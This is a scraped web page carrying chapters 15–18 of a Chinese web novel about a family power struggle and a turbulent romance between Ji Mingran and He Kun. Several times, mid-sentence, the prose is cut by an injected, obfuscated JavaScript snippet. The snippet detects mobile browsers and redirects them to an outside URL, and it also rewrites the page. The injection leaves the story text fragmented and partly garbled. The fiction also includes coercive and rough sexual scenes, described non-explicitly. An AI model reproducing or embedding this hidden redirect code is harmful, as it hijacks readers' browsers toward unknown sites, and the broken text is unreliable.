先礼后兵,话音结束在最后一个字眼上,已使人不寒而栗。 肃山立马行动起来,每个人离开现场时,任何有关今天音频和视频都被一一检查销毁。 夜色降临时,庭院已经恢复宁静,纪焯的黑白照片还正正妥妥地摆放在堂屋中间。 纪明冉站在空荡的庭院里,风吹过时,他仰头看向微晃的树枝,却看见月亮如弯钩般明晃晃地挂在深蓝色的夜幕中。 重生至今,他做出的选择都与上一世截然不同,而拿着玉佩回到纪家便是要血债血偿。 纪家既然不容他安静平凡的活着,那么就要承受他入局执棋的后果。 肩线笔直如刃,纪明冉转身朝纪夫人休息的房间走去。 转过廊角时白灯笼将他的影子拉得很长,在夜风呼啸中晃晃悠悠,肃山低头安静地跟上。 纪明冉走到房间前,站定后敲门三声。 稍等了片刻里面还是没有任何动静,便直接推门而入,女人果然没有休息,只是背对着房门痴坐。 “纪夫人,演得好一出戏。” 15. 第十五章 绝对占有 寂静再次因为纪夫人的动作被打破,她背对着两人抬手拭过脸庞,或许是抹去泪痕吧,纪明冉猜测。 待纪夫人缓缓转身时,那张包养得当的脸庞依旧能看出年轻时的高傲与美貌,但却看不出丝毫悲伤。 她再次抬手将那顶黑色丝绸的小礼帽缓缓拿下,勾出几缕碎发,难得有几分破碎柔弱之感,口吻中满是强撑出来的鄙夷:“就你,你懂什么?” 纪明冉先是安静地观察了纪夫人一会,在氛围凝固之前才慢慢弯起嘴角,轻笑两声,再随意不过:“我能懂什么?不过是,为夫人送来一封信罢了。” 他优雅地抬起左手臂,手腕处的冷白肤色微微露出,手心稳稳当当地悬停在半空。 肃山在侧后方静立,见状立刻领会,迅速低头从内衬的口袋中拿出一封牛皮色信件,呈至纪明冉手中。 纪夫人看起来有些不解,秀眉微微蹙起:“什么意思。” 纪明冉打开信封,从中取出一枚玉戒,这是纪焯的成年礼,正是纪夫人送的,纪焯很喜欢,多年来从不离身:“您难道不想看看二哥的遗言?看看他最后如何对自己的母亲道别。” 他说完便笑眯眯地站在月色下,面上满是体贴关切,真真像一尊再心善不过的白玉菩萨。 信封就放在纪夫人伸手可及的地方,风吹时微微响动。 纪夫人站在阴影中眸光微微闪动,睫毛轻颤:“关我何事。” 纪明冉依旧风轻云淡地站在房中,似乎丝毫没有为这句话所触动,只是等待。 肃山却有些不适,信件的内容他们早已看过,纪焯的切切之言与纪夫人的冷漠势力形成的对比过于鲜明,他将视线投至虚空中,不愿再看纪夫人的面目。 一阵风再次掠过庭院,将木门吹得嘎吱合上,像是亡灵的悲伤。 纪夫人显然有些出神,被突然的响动吓得一颤,她不由自主地看向那封干净整洁的牛皮信封,雪白信纸的一角已经露出来,但是无论如何定睛细看,也看不清一个字。 纪明冉适时地出声,十分善解人意:“纪夫人,我不是来阻止你的,正好相反,我是来与你合作的。” 纪夫人显然不相信纪明冉能这么好,但是她又有些得意起来:“哼,你在我这是讨不到好的。” 肃山终于忍不住了,皱着眉头投去一个无法理解的目光。 纪明冉索性掰开揉碎了讲:“您今日大闹一场,不过是想借机除去纪柏达。反正纪柏达在父亲心中就是杀害纪焯的人,您在众人面前让他将这杀人凶手的名号背实,不就是想让他被四处碰壁,变成一枚废棋。” 纪夫人冷哼一声,没有否定。 纪明冉继续道:“只可惜,今天这一场你打得不够漂亮,想扶正旁系遗孤纪行思,恐怕在父亲那里还说不过去吧。” 纪夫人惊惧,此时才正襟危坐起来,她盯着纪明冉:“你,你怎么知道的?” “‘若要人不知,除非己莫为’,我怎么知道的不重要。重要的是我不但把这封信给夫人,只要纪行思愿意,某还能帮夫人将纪行思正式接进纪家。”纪明冉拖开椅子坐到纪夫人对面,将信封推至纪夫人手边,轻触即离。 “你到底想要什么,纪明冉。”纪夫人不寒而栗,看向纪明冉眼眸时如同与深渊对望,深不见底。 “目前我也不知道,只是想让纪夫人先欠下我一个人情罢了。” “呵,你都不说是什么事情,我难道敢直接应承下?回去吧。”纪夫人将信封推回纪明冉身前,但手却没有移开。 纪明冉垂眸从纪夫人按压在信封的手背上扫过,再次开口:“不会是什么难事,夫人。我保证于你而言必定是轻而易举,毕竟我猜,夫人现在也没得选。” 纪夫人再次松动,纪明冉乘胜追击将纪焯的玉戒放至信件上,玉石隔着纸张与木桌相撞,发出微弱而闷沉的响声:“收下吧,纪夫人。” 话毕,纪明冉利落地起身离开。 肃山再次跟上,直至身后传来纸张展开的悉索声,他才松了一口气,看来这事成了。 他再次看向纪先生,不喜不悲,并没有什么多余的表情,好像一切都尽在掌握向。 纪明冉再次返回庭院,皮鞋在地面碾出干脆声响,裹挟着不容置疑的果决,没入夜色深处。 纪焯的遗照还放在正堂,两边的白烛上的火焰颤跳摇曳,似有无尽的语言。 纪明冉走至堂中,今日还未来得及祭拜,整个仪式也并未走完,现场就被纪夫人大闹了一通。纪焯最后的价值也算是被他自己的母亲榨干榨尽了,纪明冉沉默地点燃三支香插入香炉。 纪焯的遗书是在游轮发现的,就在他本人住的房间内,放置得很隐蔽。若不是有心搜查,加之先人一步,或许纪明冉也不会发现,那封信件也许很快就会飘落大海,再也不见。 纪明冉想起信中的内容,可能纪焯死去的那刻是享受的吧,毕竟那天阳光那么好,他又那么喜欢晒太阳。 事情一一办妥后,纪明冉踏出祠堂才觉得自己有些饿了,今晨吃过早餐后,还未来得及吃第二餐。 夜已经深了,纪明冉打算在外面随意吃些,于是吩咐肃山开车去饭店,没想到却在转角处见到了不速之客——贺琨。 那人站在纪宅门口,今日悬挂的白灯笼将他面庞照得雪白,黑色风衣裹住贺琨修长的身影。 衣摆肆意在风中翻卷,乌黑的发丝也随之飞扬,隐隐约约遮盖住那双极具特色的眉眼,却难掩下颌锋利的线条。 纪明冉承认这个人真的很合他的胃口,各方面。以至于某些时刻,情绪抢过上风时,他也难抑爱欲与占有欲。 贺琨也立马看见了他,眸子一下就亮了起来。 纪明冉见状心中长叹,于他而言,贺琨绝对是这个世界上最难应付之人,起码比刚才的纪夫人难搞千倍。 贺琨从纪家清场便在门口等起了纪明冉,他不想那么轻易放弃,也不会放弃,这毕竟是那么多年来,最有希望的一次了,下次还不知道什么时候。 等到太阳落下,等到夜风渐起,等到月亮高升。 他终于见到了自己想见的人。 “冉冉,你饿了吗?”贺琨迎上前去,声音无限温柔,软得不得了。边拿出了一件同款的深棕色风衣要为纪明冉披上,一边还悄悄观察着纪明冉的脸色。 纪明冉的声音冷冷清清,还把贺琨准备的风衣推脱回去:“都快入夏了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他起身推开门时,贺琨黑色羊绒风衣肩头处还有些刚碎雪,睫毛上也沾着细碎的雪花,来得风尘仆仆,像献宝般捧出一杯温热的咖啡。 他的心轻盈起来,伸出手拂去贺琨肩头的雪,又抚上那道深邃的眼,雪花融化,很快传来湿热的触感。 纪明冉有些渴,有了比那杯咖啡更想尝的东西,他反手捂住贺琨灼灼的视线,一枚带着纸香的吻印在了对方冰冷的薄唇上,又很快离开。 贺琨喉结微动,微微仰起下巴还想追去,结果那双白玉似的手轻巧翻转,压在了他的唇边,定住了他的动作。 那双眸装满炙热坦诚,令人无法抗拒,纪明冉低声蛊惑道:“小贺,你喜欢什么样的人?” “我喜欢你,我只喜欢你。”贺琨激动得声音都微微发颤,软唇在纪明冉的手心轻蹭,如同羽毛挠在心间。 然后呢?然后纪明冉得到了什么。 要么绝对占有,要么各别生宽,而前者纪明冉试过,努力过,为之付出一生。 他回到现实看着贺琨,装着格格不入的成熟,试图打破两人之间鸿沟。 他们之间并不存在两相欢喜的结局。 纪明冉对贺琨的告白不以为意,最后专注而认真地看向贺琨,又一次低了头:“对不起,贺琨,我很抱歉游轮上因为一时冲动打乱了你的生活,我以后会尽量在所有场合远离你,我希望你也是。” 16. 第十六章 灼热泪水 纪明冉语调不徐不疾,吐字清晰,可是贺琨却怎么也听不明白,他上前一步急切问道:“你今天定然很累,我们去吃饭好不好?” 很快,贺琨便从纪明冉不耐的眼神中得到了答案,恐慌缠上心间,如临深渊,进也不得,退也无路。 连指尖都还在打着颤,贺琨却本能地扬起笑容,做着不擅长的讨好:“我点的都是你爱吃的菜品。” 他却忘记了这个理由先前已经用过一次,也不愿意去明白,如果坐在饭桌对面的人已经成为不愿意有任何牵扯的人,那么就算再好的一桌菜也于事无补。 纪明冉旁观着贺琨如今的模样,这人越是卑微乞怜,他就会越加觉得曾经痴情不悔的自己贱得可怜。 “你若要非要坚持,那便送我去璨明大剧院。”纪明冉移开视线,先一步上了贺琨的车。 贺琨心中暗喜,忙不迭地跟上去,已经很好了,还可以同乘一路。 一辆黑色的车从纪宅门口出发,缓缓汇入灯火通明的车流,在主干上走走停停。 璨明大剧院并未建在市区,而是在首都南边靠近璨江分流的祈邻江边。 设计师巧借江水倒映,每当夜晚降临时,周围的霓虹灯逐一点亮,加之建筑本身的灯光设计,华美恢宏。 路程有点远,贺琨开得很稳很慢。 纪明冉上车后便拿起手机在屏幕上点击,似乎是在发送什么消息。 贺琨头脑风暴,从好几个话题挑出个他认为不太容易冷场的开了口:“我还不知道璨明附近有什么比较雅致的会面场所?” 纪明冉将手机屏幕熄灭,闭上双眼,一副很累的模样。 贺琨没有再开口,专心看向道路前方,从市区中心区域去到南片必须经过一道跨江大桥,对面的百米高的大厦表体上的LED屏幕不断变化着图样,最后定格在满目的艳红色花瓣上,飘扬飞逸,在空气中留下流动的光晕。 他想起来,应该快到月季开放的季节了,等着春寒一过,谷雨与立夏交汇的时节开得最艳。 贺琨兴起时也曾种过一株,只不过后面几乎是纪明冉在打理。 他在家的时间不多,但那株月季长势格外好,深绿色的荆条顺着铁栏延伸,处处坠满红色,花瓣层层叠叠,清香四溢,似乎受尽偏爱。 “你喜欢月季吗?”陷入回忆的贺琨不自觉地轻问出声,等意识到时已经晚了。 车内依旧很安静,前言不搭后语到贺琨都觉得自己矫情,好在纪明冉似乎真的睡着了,没有什么反应。 贺琨再次看向前方,将所有无关紧要的思维发散清空,只是安静地感受着纪明冉轻而平缓的呼吸,可惜开得再慢,目的地也总是会到的。 等璨明大剧院跃然眼前时,纪明冉似有所感般睁开双眼,缓缓开口道:“就在侧方下车点停车,谢谢。” 简洁干脆,没有任何人情味。 贺琨此时才后知后觉地认为有些奇怪,如果是在璨明大剧院停车点下车的话,那么周围是没有任何餐厅的,只有几家简单干净的快节奏咖啡馆, 他还是没忍住:“你今晚是来看歌剧的?” 纪明冉不说话,很快车辆到达下车点,这下不用纪明冉回答,贺琨也知道答案了。 看那位站在台阶之上的女子,容貌昳丽,金发飞舞,一身黑裙性感又优雅,不是达莉娅还能是谁。 但纪明冉不喜欢达莉娅,毋庸置疑。 毕竟,贺琨最熟悉纪明冉爱他时是如何将目光倾注,但纪明冉看向达莉娅的目光很平淡,和看向常人的目光并没有什么区别。 那么达莉娅之所以能出现在此地,必定是纪明冉的授意。 答案显而易见,为了摆脱自己,纪明冉是如此迫不及待,如此不择手段以及残忍。 贺琨认清事实后,从未觉得呼吸如此困难,喉间如同卡着枚生锈的铁钉,每一次吸气扯着胸腔都在疼。 他反手按下锁车键,眼神里满是破碎,笑容格外阴冷,他扭头目光锁定副驾驶位置上的纪明冉。 “纪明冉,我就那么让你难以忍受?他妈到底是谁在作践谁?”贺琨强硬地按住纪明冉的后脑,逼迫人看向自己。 一系列的动作没有任何预兆,随性而为,利落果断,撕裂了多年来天衣无缝的伪装。 遇见纪明冉之前,贺琨一向装得很好,那幅沉默寡言的模样几乎已融进骨肉,他还以为自己能一直这么装下去,可惜。 贺琨急促的呼吸掠过耳畔,纪明冉眯起眸子,眉心微微动了动。尽管短暂地被贺琨压制,却依旧上位者运筹帷幄的模样,静水深流,不显不躁:“不装了?” 贺琨最后残留的心防被这双沉静的目光击碎,他固定住纪明冉的双颊,仰头便发狠地啃噬上去,将那双薄唇含在齿间肆意凌虐,血腥味很快扩散。 直至闷痛从舌间传来,钻心的疼,贺琨呼吸一窒本能地后退,却被纪明冉按回来再次发狠地咬了一口。 贺琨眼眶瞬间红了,生理性的,纪明冉这个混蛋真是一点情面都不留,再重些再深些他估计都可以见阎王去了。 两人都松手时,贺琨已经气喘吁吁地靠在椅背上,痛,舌头痛,胸腔也痛。他闭着眼邪性地勾起了嘴角,任由自己在痛意中沉沦。 “冉冉,别去,好不好?”可能心满意足,贺琨又收敛了些。 纪明冉却不太好,他面色铁青着打开车镜观察自己的模样,唇上好几处都破开了小口,其他没破的地方就是肿。 贺琨下了狠口,见人是别想了,否则明天的头版头条恐怕就是:纪家新秀露天泊车点上演激情画面。 “滚去把达莉娅请上车,送她回家。” 贺琨偷袭得逞,自然是没得说的,得令后立马下了车,还一步三回头地嘱咐纪明冉不准跑。 纪明冉看见他走到达莉娅身前,面色如常地说了几句什么,达莉娅眉眼都染上怒气,在路边招了辆计程车便离开了。 今天答应达莉娅见面,一是想彻底断绝了贺琨的心思,二是打算派人将达莉娅送回到罗德山庄,看来这第二件又要一拖再拖了。 纪明冉和达莉娅之间谈不上什么恩情,若非得说有,那也是达莉娅自以为的,纪明冉无意揭穿罢了。 达莉娅是他继父与前任妻子的女儿,比纪明冉还年长几岁。 纪明冉年幼时,在罗德山庄过得很艰难。某日家族聚会时,几位青春期的少年将瘦弱的小纪明冉提溜起来就捆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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动情是贺琨,痴狂是贺琨,狼狈的也只有贺琨,他好不容易缓和下来的心再次不住地绞痛,盛上些恣意的眉眼也逐渐低垂,自嘲满满地开口:“陪我睡,就今晚。” “可惜我对你实难有什么欲望。” 贺琨眼眶酸涩,垂眸厉声道:“那就喝药。” “呵,贺二爷真是,真是令我‘刮目相看’。” 意料之中的嗤笑再次传入耳中,讽刺十足,贺琨耳垂充血般红,不自然的红意顺带着烧上脸颊。 他感觉自己的骄傲被挚爱之人一块又一块地敲碎,咸腥的血沫再次于齿间翻涌,喉结艰难地上下滚动,混着一地稀碎吞咽下去。 贺琨沉默着发动车辆,驶向最近的酒店。 纪明冉感受着身旁之人的落寞,指尖微缩,看向窗外。 —— 如果说贺琨明着疯,纪明冉则是暗疯,甚至更胜贺琨几分。 当贺琨再次被按压制服,还在不服气地挣扎,最后被利落地捆了起来。 直到身体传来痛意,瞬间压过了胸口持续不休的酸涩,贺琨终于埋进枕头里,安静无声地落下了灼热的泪水。 很难说不恨,纪明冉似乎要将所有不甘心宣泄,以做对过去的告别。 贺琨也只有承受的份,夜色渐深,万籁俱寂,他沙哑着终于哭了出来:“受不住了,饶了我。” “以后,离我远些。”纪明冉从后方凑近耳语,更加疯。 贺琨咬住下唇,不肯说话了。 纪明冉笑笑,那就继续。 不知过了多久,贺琨真的好累,身心都是,他颤着气音:“嗯......唔好好,好,我说好,停下.......” 17. 第十七章 一场阳谋 贺琨躺在空无一人的酒店房间,屋外的阳光格外明媚,一道暖色的光条乘人不注意,直穿过未拉严实的窗帘印在房间中,随着时间缓缓移动。 直至温热的光晕抚过贺琨高挺的鼻梁,落在微抿的薄唇上,直而长的睫毛才开始轻颤,随后眼皮轻撩,琥珀色的瞳孔在逆光中从呆愣逐渐清明。 贺琨刚醒来,喉咙干得疼,他皱着眉从床头柜上给自己摸了瓶矿泉水,定睛一看还剩半瓶,迅速仰头饮尽。 准备放下水瓶时,腕间动作略微凝涩,他这才察觉手腕上的捆痕还残留着淡淡的红印。 太荒谬了,由于昨晚被反制得过于丝滑,贺琨猜测冉冉现在的身手绝对练过,这已经不是身高和体型的问题了,虽然这两个他也比不过,唉…… 贺琨卡顿地扶着腰将地上堆叠成一团的衬衫拾起,皱皱巴巴的,看起来是彻底穿不成了。纪明冉昨晚用得倒是顺手,但他现在只能穿着酒店提供的浴袍活动,等人将衣服送来。 洗漱台前,水流潺潺,贺琨鞠起一捧清水洗脸,胀得昏昏沉沉的脑子总算清醒了些许。 宽敞的领口随意交叠,随着他洗漱的动作轻晃,若影若现着些许齿痕,贺琨有些好奇,于是对着镜面小心翼翼地摸上去,很快传来轻微的刺痛。 他本能地皱起眉头,嘴角却微不可察地向上扬起,面目轻微扭曲却不失美感,迷乱又怪诞。 贺琨认为从某种方面来说,这证明纪明冉并不是像表面那般平静。 恨也好,厌也罢。 贺琨本来可以忍受那些暗无天日的守候,怪就怪纪明冉自己撕开了一道口,他便不会放手。 床上的承诺怎么能当真。 但是,下次得他来。 牙口太利了,动作还凶,贺琨单方面认定纪明冉技术不行。 敲门声响起,将贺琨拉回现实,他从监视器里看见了着装整洁的冯平,便转手按开了门锁。 来人老练地走进来,左手上提着一个纯色的纸袋,应当就装着贺琨更换的衣物。 “二少,您这是?”冯平看着酒店房间满地狼藉,几个白软的枕头惨兮兮地躺在地上,书桌前的椅子卡在墙边歪歪斜斜,就连花瓶等装饰物也碎得碎、倒得倒,总之乱得很震撼,他艰难遣词道,“额......被抢劫了?” 冯平以为自己会看见贺琨餍足自在地躺在床上,等待自己送衣服过来,但是眼前这场景,他很难不多想:“莫非是您强迫人家了?” 是也不是,贺琨一时还说不清。 或许刚开始是他强迫的纪明冉,但是踏入这个房间开始一定是纪明冉“霸凌”他。 “可能?” 冯平倒吸一口凉气,这可不兴做啊。 “可是他也报复回来了。” 冯平更是木愣了:“什么?谁?!您受伤了吗?” 如果咬伤和青紫的吻痕也算的话,贺琨心想,那应该是“重伤”。 “纪明冉。”贺琨走过去,将已经宕机的冯平左手上的袋子取过来翻看,一套米色休闲套装,低调文雅,还可以。 “什么!”冯平几乎是低喊出来的,职业生涯里第一次失态。 贺琨自顾自地拿出衣物,拎在手中:“哦,我以为你知道,这段时间大家都在讨论的。” “我以为是谣传。”冯平,一款固执的直男。 “不是,我喜欢他,而且目前有计划追求纪明冉。” 贺琨首次将自己的爱意正面承认,在一个刚被拒绝的清晨,他觉得前所未有的充满希望。 冯平脑海中浮现出纪小先生的模样,清清冷冷的,总是很忙碌,再环顾房间满地的狼藉。 不是二少疯了,就是纪小先生疯了,或者他自己疯了。 “在您们疑似打架之后?” 这句话似乎勾起了贺琨不好的回忆,他眸色一沉,目前情况确实比较麻烦:“我有件事情,你亲自去办。” 冯平正襟危坐,认真听完后有了论断。 看来,应该是二少疯了。 —— 17岁的纪行思站在纪家西郊别墅主楼的会客厅中,清风缓缓荡过这采光极好的空间,水晶灯轻碰发出清脆的响声。 纪夫人坐在他身前的天鹅绒胡桃木椅上,颈间的素色项链泛着冷光,她目色沉静地注视着主位上的男人,自己名义上的丈夫,纪正源。 “鸢榕,这就是你大闹小焯葬礼的原因?”纪正源视线充满审视,语气中满满皆是不认可。 纪夫人最恨的就是纪正源这般模样,似乎她做的每一件事都是那么上不了台面,永远比不过纪姝的母亲。 她压住不满,柔若无骨般低垂下头,不经意露出发间白玉簪,像是在为过世的儿子悼念,也是为丈夫不明所以的冤枉而伤悲。 纪正源无言,只好转头看向站在另一旁的两个当事人纪柏达和纪明冉。 “纪柏达,你说。” “抱歉,父亲,我看见母亲落水心中一时着急,忽略了应该先妥当处理好现场。”纪柏达低头道歉,字字清晰可闻。 纪夫人绞紧手中的佛珠,眼神中透出怨恨。 而主位上的纪正源像是终于想起还有一个无辜受伤的人,他清了清嗓:“你母亲没事了吧。” “母亲身子弱,落水着凉后有些感冒也正常。” “嗯,晚点我去看她,”纪正源关心完,再次收回话题,“但那也不是你失责的借口。如果不是明冉在,那岂不是要闹天大的笑话,我看你是连最基础的事都办不好了,柏达。” 纪正源逐渐将声音压低,到了最后点名纪柏达时已暗含威胁之意。 纪柏达不说话了,只是低头挨骂。 “后续处理干净,别让我听见什么风言风语。”纪正源点到为止,回头打量起年轻稚嫩的纪行思。 纪夫人察觉,赶忙悄悄看向纪明冉,青年一副事不关己的模样,眼观鼻,鼻观心,她只好按照计划开口。 “不过是一位刚失去母亲的孩子,和一个刚失去孩子的母亲,正源若是不喜欢,送回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993798|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢了。” 纪正源没有接话,纪夫人再次暗中瞥了纪明冉一眼,随后长长地叹息,转身拉起纪行思的手,泪花在眼眶中打转,声音伤怀到有些颤抖:“孩子,是你我没有缘分。” 纪行思闻言立马跪到地上,青春期抽条的身形单薄而坚韧,许是刚失去母亲,眉宇间荡着散步去的忧郁,但目光却是光明磊落,没有丝毫埋怨。 “谢谢伯父、伯母照拂,行思在哪都会同样努力,不忘纪氏先辈的气节,不丢纪氏门楣的脸面。” 纪正源见状,原本微垂的双目抬起,神色泄露出些许怀念,再次认真打量起来,过了好一会那节握在手中的拐杖杵地微微旋转,纪正源开口道:“那留下吧,先养着,其余的日后再说。” 纪夫人回头看向主位上的男人喜极而泣,泪水不住地落,她慌里慌张地抬手拭去,不失美韵:“正源,你真是的,又惹我白伤心一道。” 纪正源站起身,看向自己的妻子:“一把年纪了,还那么爱掉眼泪,孩子们都在呢,”语调中满是爱意,神色却始终未变,随后转头看向纪柏达和纪明冉,“你们两个和我去书房。” 书房再次打开门时,是下午三点。 纪明冉盯着腕间的表盘踏出西郊别墅区,贺琨或许已经到兰临市了,骨子里那么骄傲的人经历昨晚的事后,应该已经气到跑得远远的了吧。 他看向天际的山峰,内心唏嘘,不知是庆幸还是失落。 肃山站在身后拿出手机,面色逐渐古怪,他抬头看向纪先生:“先生,兰临市的开发项目转接到我们手上了。” 纪明冉转身:“兰临?” 肃山正准备回答,没想到身后再次传来熟悉的声音,同样还是那个熟悉的出场方式。 纪柏达吊儿郎当地将手一搭,不过这次搭的是肃山,而不是纪明冉,“是啊,我手上的大项目呢。” “据我所知,我们的交易已经结束了。”纪明冉回复。 “哎呀,你能力强嘛,父亲点名给你,我有什么办法,这么好的事,哥哥心里也在滴血啊。”纪柏达做作地捧心,眉眼皱成一团。 纪明冉盯着纪柏达,目光如夜里幽绿的森森鬼火,盯得纪柏达心里直发毛,他心中破口大骂,但面上依旧不正经地笑着,眼睛都没眨一下。 每到这个时候,他还挺想纪焯的,起码两个人还能一起吐槽纪明冉,三天三夜都不带重样的。 “也好,主宅想来近期必定是闹腾不安,多谢五哥。” 纪明冉风度翩翩地转身离开,看不出什么明显的情绪。 纪柏达被跟着他离开的肃山突然躲开,脚下一个踉跄,嘀嘀咕咕地咒骂:“死人脸太能装了,哟哟哟,‘多谢五哥’。” —— 兰临市,贺琨刚下飞机,打开手机时一个陌生的号码映入眼帘,对方的对话气泡里只有四个字:如你所愿。 他转手删除短信,哼着轻快的小曲回头看停机坪,想来很快那人也会出现在这里吧。 真是令人期待啊。 18. 第十八章 粘人小狗 兰临市天气更加炎热,似乎比首都更快一步进入了夏天。 贺琨站在树影下吹风,不远处的绿林中幽绿的、成片的树叶交错重叠,在风中化身流动的碧浪,翻动间金光闪耀,哗哗作响。 “小贺,资料整理得怎么样了?”李教授捧着水杯不徐不疾地朝贺琨走来,而小组里其他同学在后面临时搭建的棚子里吃着冰镇西瓜。 “老师,大致已经齐全了,接下来再仔细核对几日,很快就可以开始准备申报材料了。” 贺琨闻声回头,笑着回应,动作幅度不大,衬衫口边别着几支随取随用的笔,周正端和。 李教授看着自己收下的这位关门弟子,年纪最小,性子反倒最闷:“怎么不和小同学们去热闹热闹啊,冰镇西瓜,啧啧啧,可惜老师我牙口不好,不然都想来上两块。” 李教授捞起挂在颈间的蒲扇,来回扇了几下,凉风习习。 贺琨弯起嘴角,放松了些许,李老师向来这般接地气,总是很有亲和力:“老师,您可千万得忍住,不然回去师母就要拿我试问。” “你小子还没回答我问题呢,就编排起你师母了。”李教授握着扇柄,用扇面团圆弧处轻轻点了点贺琨的圆脑袋。 贺琨无辜脸一挂,老实受着,很快就收获了老人家的疼爱,看着贺琨领口处的湿汗,李教授嘴上劝着,手上却给贺琨扇起来风。 贺琨舒服得微眯起眼,干净的笑容绽开,仰着头去追风,带上了几分符合年纪的惬意。 紧接着他又稍稍错开视线,朝李老师身后看去,几位同学聚在一起用手机小程序玩起了桌游,偶尔发出阵欢愉的笑声,又收敛起来:“在想些事情,老师,就不过去了。” “哼,”李教授轻哼一声,不知道有没有相信贺琨的说辞,“你接手青平市的青芜涯的项目了?” 贺琨转了转手机,灵活地在修长的指间打了个回旋:“嗯,接下了。” “我看那孙先生也是诚心请你,去试试也无妨,那边地形特殊,多和团队沟通交流,有什么也要多和我,和你师兄说。” 这几年贺琨在业内已经小有名气,李教授虽不质疑小徒弟的能力,但依旧不住一一叮嘱。 “好,老师,我记下了。”贺琨认真的点头回应。 李傅教授是业内知名的专家,他的收官之作——泰安古籍博物馆,于十年前正式落成于璨江中游文化带核心区,融合传统建筑美学与现代设计理念的文化地标,是国家中心文化建设的重点工程项目。 自那以后67岁的李教授便转居后线、回归家庭,将精力重点放在培养年轻一代之上,偶尔接些小型设计。 此次,李教授承接委托小山口这个古建项目,一是亲自带着贺琨来考察学习,二也是为了新入学的年轻孩子们能体验实践。 考虑到贺琨接下来可能要频繁地去往青芜涯,李教授想问问小徒弟的想法:“那小山口这个古建群收尾?” 贺琨想起昨晚,他刚得知纪明冉即将前往兰临市分公司坐镇的消息,便驱车前往悦安商业中心,坤和集团下属公司办公大厦。 晚上9点左右,他终于看见那人从一辆黑色的车辆中出来,隔得比较远,尽管只能看见道人影,贺琨悬空的心也终于落地转安,来了就好。 “老师,请让我继续负责。” 李教授点点头,在他看来年轻人肯干多干准是没错的:“也好,临时换人过来怕是也不方便,等材料上报后申请到专项保护,差不多也就结束了。” “既然要做,就要做好,拿出抓铁有痕,踏石留印的态度,做一件就要成一件。”李教授补充道,语气里满是那个年代特有的精气神和昂扬干劲。 贺琨认真受教,表情专注耐心。 李教授见状不再多言,随即打着蒲扇,晃晃悠悠地再次踏入小山口那片古老的小型建筑群。 尽管已经用各种形式记录描绘了多遍,头发花白的老人依旧眼含爱意地走走看看。 见李教授精神状态还不错,贺琨收回了看顾着老师的视线。 其实他之前答应孙先生接下青芜涯的项目时,也并未想到后面他与纪明冉会走到如今这一步。 发小吴云旗前些日子给他透了口风,吴叔来兰临市办事,办的正是这小山口的事。 估计等他和老师把需要保存的纸质资料采集齐全,再把该申报审批的手续办妥。 很快坤和就要牵头,连同吴叔和一位商界新贵来此地深入考察,进行开发投资,关于具体内容是什么,贺琨也还尚未探查到内情。 他费了大功夫将人“哄”来此地,于公于私,自然都是想在兰临市多住几月,最起码在他与纪明冉的关系改善缓和之前,谁也别离开。 贺琨晚上刚回到酒店,还没点灯,便接到了蒋斌的来电。 “贺琨,真的?”蒋斌语气里满是八卦之意,人虽不在现场,却扑面而来。 贺琨被问得有些懵,随后立马反应过来明白,挂上无奈的微笑回复道: “看师兄听的是哪一版了,‘纨绔花少浪子回头背后隐藏多年的真相竟是?!’还是‘纪家公子为爱怒砸千金举办游轮盛宴!’,或者其他?” “贺琨,我拜托你别用37度的嘴说出那么冰冷的笑话。”蒋斌嘴上吐槽,但终究是没憋住,电话那头传来轻微失真的笑声,“怎么可能报道,纪明冉和你哥都压着呢,只是圈内传得厉害,我来吃一线的瓜。” “一线的瓜,就是,睡了。”贺琨拿出一瓶冰箱中的苏打水,回答完就仰头咕噜咕噜喝了好几大口,水瓶很快见底。 虽然做足了心理准备,蒋斌还是疑惑且震惊。不过贺琨如今抱得美人归,他当然得调侃几句。 “啊?啊啊啊!那你当时还给我说‘又不是晚上就要表白’原来你不是奔着纯爱去的,是人家奔着身子去的,贺琨你这人真下流啊。” 贺琨本来还在喝水,闻言便呛了水猛咳起来,很快眼尾鼻头都染上几分红意,他本意也是奔着纯爱去的,但是发展方向有点脱轨,这也不是他能控制的。 而且,有一句话,他憋很久了。 “我提出纠正,下流之人另有其人。” 那天之后,贺琨穿衬衫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993799|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都磨得厉害,胸前凉飕飕的刺痛,夏天的衣服又薄,什么都看得一清二楚。 害得贺琨贴了纱布又穿上外套,顶着烈日在郊外来回跑了两天,还被老师笑了两天。 “嗯?人家光风霁月、冰清玉洁的,你就得了便宜还卖乖吧。” 贺琨不知如何反驳,而且私心也不想反驳,他认为有些误会还是误会着好。 于是他只是哑口叫唤了一声,有些无奈:“师兄。” “好好好,得了,就是听老师说你最近手里活多,要是忙不过来,记得找师兄。” 贺琨垂眸,目光落在地面上,瓷砖倒映着窗外的月色:“嗯。” 蒋斌将电话挂断后,房间又恢复了寂静,师兄不提还好,提了贺琨便忍不住,他又想纪明冉了,哪怕只看一眼都会心满意足。 —— 